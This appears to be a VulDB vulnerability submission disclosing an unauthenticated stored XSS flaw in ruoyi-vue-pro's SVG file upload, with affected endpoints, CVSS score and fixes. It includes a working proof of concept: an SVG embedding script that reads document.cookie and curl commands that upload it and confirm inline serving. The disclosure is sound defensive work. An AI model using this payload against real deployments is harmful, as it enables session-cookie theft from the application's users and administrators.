Soumettre #908273: zhijiantianya ruoyi-vue-pro 2026.06 跨站脚本

A stored cross-site scripting (XSS) vulnerability was discovered in the file upload functionality of ruoyi-vue-pro (yudao-server). The application allows uploading SVG files without content type validation. When the uploaded SVG file is accessed, it is served with Content-Type: image/svg+xml and Content-Disposition: inline, causing the browser to execute JavaScript embedded in the SVG.

Vulnerable file: yudao-module-infra/src/main/java/cn/iocoder/yudao/module/infra/controller/admin/file/FileController.java

Critical finding: The app-api endpoint (/app-api/infra/file/upload) is annotated with @PermitAll, allowing unauthenticated attackers to upload malicious SVG files.

Affected endpoints:
- POST /app-api/infra/file/upload (unauthenticated, @PermitAll)
- POST /admin-api/infra/file/upload (authenticated)

Proof of Concept:
```bash
# Create malicious SVG
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1">
<script type="text/ecmascript">alert(document.cookie)</script>
</svg>
EOF

# Upload SVG (no authentication required)
curl -X POST 'http://target:48080/app-api/infra/file/upload' \
-H 'tenant-id: 1' -F '[email protected]'
# Response: {"code":0,"data":"http://target/admin-api/infra/file/4/get/.../xss.svg"}

# Access file (no authentication required)
curl -I 'http://target:48080/admin-api/infra/file/4/get/.../xss.svg'
# Content-Type: image/svg+xml;charset=UTF-8
# Content-Disposition: inline;filename="xss.svg"
```

When victim browser accesses the file URL, JavaScript in SVG is executed.

Verification results (dynamically confirmed):
- SVG upload successful (app-api, no authentication)
- File served with image/svg+xml + inline
- Browser executes JavaScript in SVG
- File access requires no authentication

Impact:
1. Stored XSS: malicious SVG persisted on server
2. Cookie theft: steal admin session cookies
3. Unauthenticated exploitation: attacker needs no login

CVSS 3.1: 7.5 High (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)

Solution:
1. File type whitelist: block SVG, HTML
2. Force SVG as application/octet-stream + attachment
3. Or sanitize SVG content (remove <script> tags)

• La source: ⚠️ https://github.com/YunaiV/ruoyi-vue-pro/blob/master/yudao-module-infra/src/main/java/cn/iocoder/yudao/module/infra/controller/admin/file/FileController.java
• Utilisateur: liuyulin (UID 100186)
• Soumission: 29/07/2026 03:46 (il y a 2 mois)
• Modérer: 24/09/2026 13:34 (2 months later)
• Statut: Accepté
• Entrée VulDB: 409330 [YunaiV/zhijiantianya ruoyi-vue-pro jusqu’à 2026.08 File Upload FileController.java cross site scripting]
• Points: 20